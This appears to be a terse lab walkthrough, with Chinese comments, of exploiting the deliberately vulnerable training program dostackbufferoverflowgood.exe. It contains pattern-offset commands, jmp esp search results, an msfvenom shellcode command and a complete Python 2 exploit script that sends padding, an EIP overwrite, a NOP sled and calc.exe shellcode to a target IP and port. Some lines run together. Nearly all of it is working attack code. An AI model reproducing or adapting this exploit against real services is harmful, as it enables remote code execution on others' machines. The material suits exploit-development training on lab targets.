memset(&pHints.ai_addrlen, 0, 16);//设置字节为0pHints.ai_family = 2;//使用本地的ipv4做为服务地址pHints.ai_socktype = 1;pHints.ai_protocol = 6;//使用TCP套字节流pHints.ai_flags = 1;*(_DWORD *)v11 = getaddrinfo(0, pServiceName, &pHints, &ppResult);//使用getaddrinfo来获取并存储主机目前的网络地址和服务信息

Kali msf-pattern_create -l 20000 

msf-pattern_offset -l 20000 -q 39654138

0x080414c3 : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (C:\Users\Administrator\Desktop\dostackbufferoverflowgood.exe)0x080416bf : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (C:\Users\Administrator\Desktop\dostackbufferoverflowgood.exe)

msfvenom -p windows/exec CMD="C:\windows\system32\calc.exe" -b '\x00\x0d' -f python -v code

Payload=字符填充+JMP ESP+nop+shellcode

import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('172.30.193.125',31337))

tc="A"*146eip="\xc3\x14\x04\x08"nop="\x90"*16

code =  b""code += b"\xdb\xd4\xd9\x74\x24\xf4\xb8\xab\xd9\x08\xbc\x5b"code += b"\x29\xc9\xb1\x36\x31\x43\x18\x83\xeb\xfc\x03\x43"code += b"\xbf\x3b\xfd\x40\x57\x39\xfe\xb8\xa7\x5e\x76\x5d"code += b"\x96\x5e\xec\x15\x88\x6e\x66\x7b\x24\x04\x2a\x68"code += b"\xbf\x68\xe3\x9f\x08\xc6\xd5\xae\x89\x7b\x25\xb0"code += b"\x09\x86\x7a\x12\x30\x49\x8f\x53\x75\xb4\x62\x01"code += b"\x2e\xb2\xd1\xb6\x5b\x8e\xe9\x3d\x17\x1e\x6a\xa1"code += b"\xef\x21\x5b\x74\x64\x78\x7b\x76\xa9\xf0\x32\x60"code += b"\xae\x3d\x8c\x1b\x04\xc9\x0f\xca\x55\x32\xa3\x33"code += b"\x5a\xc1\xbd\x74\x5c\x3a\xc8\x8c\x9f\xc7\xcb\x4a"code += b"\xe2\x13\x59\x49\x44\xd7\xf9\xb5\x75\x34\x9f\x3e"code += b"\x79\xf1\xeb\x19\x9d\x04\x3f\x12\x99\x8d\xbe\xf5"code += b"\x28\xd5\xe4\xd1\x71\x8d\x85\x40\xdf\x60\xb9\x93"code += b"\x80\xdd\x1f\xdf\x2c\x09\x12\x82\x3a\xcc\xa0\xb8"code += b"\x08\xce\xba\xc2\x3c\xa7\x8b\x49\xd3\xb0\x13\x98"code += b"\x90\x4f\x5e\x81\xb0\xc7\x07\x53\x81\x85\xb7\x89"code += b"\xc5\xb3\x3b\x38\xb5\x47\x23\x49\xb0\x0c\xe3\xa1"code += b"\xc8\x1d\x86\xc5\x7f\x1d\x83\x85\x45\xbd\x5b\x63"code += b"\xd7\x59\xcb\x04\x54\xfe\x60\x92\xe9\x8a\xe3\x09"code += b"\x3e\x41\xb0\xb2\x21\xc9\x2b\x1b\xc4\x69\xc9\x63"



s.send(tc+eip+nop+code+'\r\n')s.recv(1024)

python2 payload.py